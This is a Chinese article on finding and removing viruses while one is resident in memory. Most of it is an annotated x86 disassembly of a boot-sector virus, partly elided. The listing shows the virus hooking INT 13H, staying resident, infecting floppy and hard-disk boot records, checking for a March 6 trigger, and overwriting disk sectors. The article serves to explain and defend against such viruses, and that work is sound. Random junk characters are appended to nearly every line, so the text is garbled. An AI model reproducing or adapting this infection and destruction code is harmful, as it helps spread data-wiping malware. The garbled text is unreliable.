近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 j?(!^ _!m
?? 6k])Kl J2;
?? 一 、 带毒环境下检测清除病毒的意义 4ax|Vb)D
?? TbE:||r?^
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 lx,`hl%
?? F=@i6ERi
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 #Gv{UU$]
?? d<o.o?Vc
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 ;5|1M8]=0
?? Sm3u /w!
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 #j@OLvXh
?? Y'"N"$n'_
?? 二 、带毒环境下检测清除病毒的原理 +1{fzb>9_
?? ;Fl<v@9
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 ,ul5,ygA
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 5K56!*Y
HV]Ze>}
WXUkuO
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " +p:Y=>bTj
病毒体: eE:&qy^
JMP 01AF ;JMP到01AF G`]w?Di4
DB 00 ;病毒标计 aSaAC7sFk
DW 00F5 ;此为搬到高位址后,远程跳转指令 u@ N~1@RT|
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX ysXx%k
DB 02 B0mLI%B
DW 0003 ;此为软盘识别标记,硬盘为0007 "-i#BjZl/
DW EC59 ; *:_~Nn9_R;
DW F000 ;INT 13H的原入口 W=-|`
. y62%26 [
. /NBTvTI
. 2:v <qX
. 4L:>4X[T
. [ x>
XOR AX,AX ;清除AX z?.(3oLT
MOV DS,AX; ;让DS=0000 ^)\+l%M
CLI ;清I标志积存器 CJw$j`k
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 L`K;IV%;
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 VQ
|^
MOV SP,AX ;开机时为0000:7CB6 M'jXve(=yF
STI ;设I标志积存器 Q</h-skLZ
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A E8[XG2ye
PUSH AX ;用RETF,把程序转到引导或分区表位置 +g\;bLT
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 juno.$
6
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 3o8\/-*<
MOV AX,[004E] ;取INT 13H的段地址 Y)p4]>lT+8
MOV [7C0C],AX ;存到010C Gbb\h
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 |XcH]7Ai"
;读写以便传播发作 l)@:T|)c
lmFA&s"m
MOV AX,[0413] ;取得内存K数,放在AX yFeeG3n3
DEC AX ; $p6N|p
DEC AX ;减2k内存 ;) pl{_
MOV [0413],AX ;存回,通常是638K ~$aTM_4
MOV CL,06 ; n9}RW;N+u
SHL AX,CL ; |>utWT]S
MOV ES,AX ;算出减2K后病毒本体的位址 \|+/0USn
MOV [7C05],AX ;AX存入0105 >[3X]n,0
r,'O).7
;病毒常用手法将系统高段内存减少以便驻留 /7p>7q9g
;这样可以免于被其他程序覆盖 *TnzkNN_,
<'*4j\*
MOV AX,000E ;病毒拦INT 13H q Z\L
;ISR起始的偏移量 @ ^.*$E5
MOV [004C],AX ; Ml`vx
MOV [004E],ES ;设原为病毒的INT 13H %8D?$v"#Z
MOV CX,01BE ;病毒长度为1BE 1X@b?6
MOV SI,7C00 ;从JMP 01AF开始 A@ VaaX
XOR DI,DI ;DI=0 ?y_awoBd1
CLD ;清方向标志 6"%qv`.Fp
REPZ; BlaJl[P iv
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 B7 c[4
CS: ;分区表能载入0000:7C00正常运作 .Ty,_3+{#p
JMP FAR [7C03] ;跳到为搬过后的位址 J:};n@<
XOR AX,AX ;清AX ,ep9V,+|
MOV ES,AX ;ES=0000 ~I$}#
INT 13 ;复位磁盘 =R9*;6?N
PUSH CS ; 8-A|C<
"
POP DS ;让DS=CS SfDQ;1?
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 #O|lfl>}
MOV BX,7C00 ;读到0000:7C00 bF6gBM@*
MOV CX,[0008] ;硬盘第0道,第7扇区 S:Xs'0K_
CMP CX,+07 ;比较是否从硬盘启动 Mo|yv[(K,
JNZ 0213 ;不是跳0213 jsWX 6(=
MOV DX,0080 ;第一硬盘C:第零面 YN^jm
INT 13 ;用INT 13号中断,读 on50+)uN
JMP 023E ;跳023E比较日期,发作或正常开机 J#@lV
MOV CX,[0008] ;软盘0道,第3扇区 zPBfiK_hV
MOV DX,0100 ;A:的第0面 .eTk=i[N-
INT 13 ;INT 13读盘 okDJ(AIV+
JB 023E ;失败跳023E wP`sXPSmIu
PUSH CS !aeNq82
POPES ;让ES=CS PW^ 8;[\QP
MOV AX,0201 ; ;IhPvff
MOV BX,0200 ; 9HKf^+';n
MOV CX,0001 ; 3kw}CaZ6
MOV DX,0080 ; xMsGs
INT 13 ;读入C:的分区表到0200,以便下面比较 \^s2W:c
JB 023E ;失败跳023E ]wf|PU~nr
XOR SI,SI ;清SI |Mlh;
CLD ;清方向标志以便比较 A\g%
LODSW ;载入一个WORD到AX )[
b#g(Y(
CMP AX,[BX] ;比较有无病毒存在..E9AC wT%"5:
JNZ 0287 ;没有则跳0287传染 A;t
zRe
LODSW ;载入一个WORD到AX uQ1jwYK`7
CMP AX,[BX+02] ;再次确认..0000 5G oK"F0i
JNZ 0287 ;没有跳0287 L]>4Nd
XOR CX,CX ;清CX xN"wF-s4?
MOV AH,04 ; w`Xg%*]}
INT 1A ;取得日期 ^BNp`x;;`
CMP DX,0306 ;是否为三月六日 #NMJZ
JZ 024B ;是跳024B传染 m+7`\|`jQ
RETF ;把程序交还给引导启动完成 j!CU
%O_t`wz
步骤4:病毒INT 13代码分析 vnVZJ}]w\
方法:U oVEAlBm^v
PUSH DS ;首先把要用到积存器 -$m@*L
PUSH AX ;入栈保存 ?&\h;11T
OR DL,DL ;比较是否为软盘 U%,;N\:_
JNZ 002F ;如不是则退出传染 #'iPDRYy
XOR AX,AX ;AX=0 Q>[Ce3
MOV DS,AX ;数据代段=0 @ AggznA8
TEST BYTE PTR [043F],01 ;比较是否为A盘 4L11P
JNZ 002F ;不是则退出 j88=f#<
POP AX ;将以上保存积存器 3B -NYJa
POP DS ;弹栈恢复 xfes_v""
PUSHF ;压栈标志积存器 Ff&R0v
CS: ;以便执行原INT 13 )O -cw7 >
CALL FAR [000A] ;执行原INT 13 26}u4W$
PUSHF ;再次压栈 j $0zD:ppW
CALL 0036 ;以便跳转到传染程序 g~|y$T
POPF ;跳转到执行传染 R9q0,yQW
RETF 0002 ;结束中断调用返回 ;x16shH
POP AX ;恢复 r
hZQQOQ
POP DS ;堆栈 gE1|lY$NL
CS: ;跳转到原正常INT 13 r8F{A6i N
JMP FAR [000A] ;地址执行 h-,?a_
*@~`d*d
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 Seg#s.
k!9=
步骤5:传染过程分析 *{Yi}d@h(
方法:U R@OSqEnr
对软盘传染过程: ]*a@*0=
PUSH AX ;工 _ flgQ
PUSH BX ;作 i<Q&
D\Pv
PUSH CX ;寄 XUf7yD
PUSH DX ;存 mDlCt_h
PUSH DS ;器 J$#D:KaU:N
PUSH ES ;入 qKA_A%
PUSH SI ;栈 e6o/q)9#
PUSH DI ;保存 )kF2HF
PUSH CS ;以压/弹栈方式 v10mDr
POP DS ;使数据段DS和 nrF!;:x
PUSH CS ;附加段ES均指向 D| [/>x
POP ES ;代码段CS rI *!"PL
MOV SI,0004 ;试4次 ~R'BU=!;F
MOV AX,0201 ;设置各 +R9%~Z.=
MOV BX,0200 ;积存器 Vv2{^!aZ
MOV CX,0001 ;为读软盘 e7lo!(>#
XOR DX,DX ;引导扇区做准备 .@Hmg
PUSHF ;压栈标志积存器 cNx
\&vpd
CALL FAR [000A] ;正常的INT 13调用 i<J^:7
JNB 0063 ;成功则转判断 i'Wcf1I-=
XOR AX,AX ;不成功复位 t(wZiK}
PUSHF ;磁盘继续读 L%k67>
CALL FAR [000A] ;如果4次 98h :X %
DEC SI ;均匀不成功 R/Tj^lM
JNZ 0045 ;则退出跳转 cB_pyX9Z
JMP 00A6 ;退出传染 :wSJ-\'$
XOR SI,SI ;SI=0以便用 x<Iy<v7-
CLD ;LODSW读入软盘 uvR0TIF4
LODSW ;第1或第2字进行比较 gj[zka0_
CMP AX,[BX] ;比较如果不包含病毒标志 F:M/z#:~
JNZ 0071 ;则跳转写传染 n$IWoIdbGN
LODSW ;如果已有标志 *&h6*zP?
CMP AX,[BX+02] ;则退出 HE@-uh
JZ 00A6 ;传染子程序 $]nVr(OZ_
MOV AX,0301 ;为写盘准备 avmcGyL
MOV DH,01 ;如果是360K kHGeCJe\{
MOV CL,03 ;则写到1面0道3扇区 O(WEgz
CMP BYTE PTR [BX+15],FD ;比较软盘 mn(/E/
JZ 0080 ;如果大于360K j/~VP2R`
MOV CL,0E ;写到1面0道14扇区 =!(S<];
MOV [0008],CX ;写病毒标志到软盘 W;q#ZD(;
PUSHF ;调用原INT 13 %N7gT*B:
CALL FAR [000A] ;进行传染 eSJAPU(D
JB 00A6 ]"C| qR*
MOV SI,03BE ;以下是将正常 YGfA qI
y
MOV DI,01BE ;引导扇区从 gHp'3SnS
MOV CX,0021 ;1BE起的21字节内容 KBd7|,j
CLD ;搬移到病毒程序尾部 0&.LBv8
REPZ ;开始复制 zoR,RBU6
MOVSW CQj/e+eE4
MOV AX,0301 ;写盘功能调用,写一个扇区 x`Vy<h 33
XOR BX,BX ;将病毒程序 4u@yJ?U
MOV CX,0001 ;写入软盘引导扇区内 <zfO1~^
XOR DX,DX ;设置为软盘 =VCi8jDkP
PUSHF $,}Qf0(S
CALL FAR [000A] ;执行正常INT 13调用写盘 mgk64}K [n
POP DI ;将 #8S [z5 `
POP SI ;工 A1mYkG)l
POP ES ;作 ~o}moE/
;O
POP DS ;寄 0@o;|N"i
POP DX ;存 ])+Sc"g4k
POP CX ;器 MP6 \r
POP BX ;退 @=02
POP AX ;栈 yBr$ 0$
RET ;返回调用处 /;zZnF\e
对硬盘传染过程: 37%`P\O;s
MOV CX,0007 ;第7扇区 >|v=Ba6R0
MOV [0008],CX ;此处为硬盘引导标记 zNNzsT8na
MOV AX,301 ;写功能调用 s'R~r
MOV DX,0080 ;设置为硬盘 bMSD/L
INT 13 ;将正常引导扇区写到0面0道7扇区内 (K^YD K
JB 13E ;失败则转 Ti0
(VdY
MOV SI,03BE ;原分区表地址 ac2}3$u
MOV DI,01BE ;目标地址 OJnPP>
MOV CX,0021 ;整个分区表 [6Uud iw
REPNZ QWU5-p9e8
MOVSW ;开始复制 _K
4eD.
;此段代码是将硬盘分区信息,搬移到病毒程序尾部 ON:LPf>"-
;这样在分析着查看硬盘分区信息时仍能看到该部分 8yY"x
['
;内容,以次来麻痹分析者 71K\.[ =-
MOV AX,0301 ;准备写病毒提进硬盘 Q,[rrG;?@
XOR BX,BX ;病毒体位置 }~7H2d);-
INC CL ;第一扇区 #N<s^KYG-
INT 13 ;开始写盘传染 }T?i%l
JMP 013E ;转到13E处判断是否为3月6日,是则发作 >:3xi{
e-nWD
步骤6:破坏过程分析 ##SLwrg
方法:U $xKg }cO
主要分析对硬盘数据破坏: i n[n Aa
. }`+O$0A
. dL1~]Z
y
. [d!Af4
. >VpP/Qf
. dM);LT8@
MOV DL,80 0S)"Q^6ny
MOV BYTE PTR[0007],04 Hj}g1"RA
;准备写硬盘 z'5;f;
MOV AL,11 ;写17个扇区 ^4n2
-DvG
MOV BX,5000 Ws2prh^e(
MOV ES,BX ;从内存ES:5000中处开始写 9OrA9r
INT 13 ;残不人睹 FE$M[^1_
JNB 0179 ;成功转179继续写 'DaNR`9
XOR AH,AH WyKUvVi
INT 13 ;不成功复位磁盘继续 H}u)%qY+~
INC DH ;使写操作磁头加1继续? ^N*pIVLC
CMP DH,[0007] ;比较是否小于0007单元值 |HKHN?)
JB 0150 ;是则返回开始处继续写 8cYuzt]..
XOR DH,DH ;DH=0 Ri^sQ<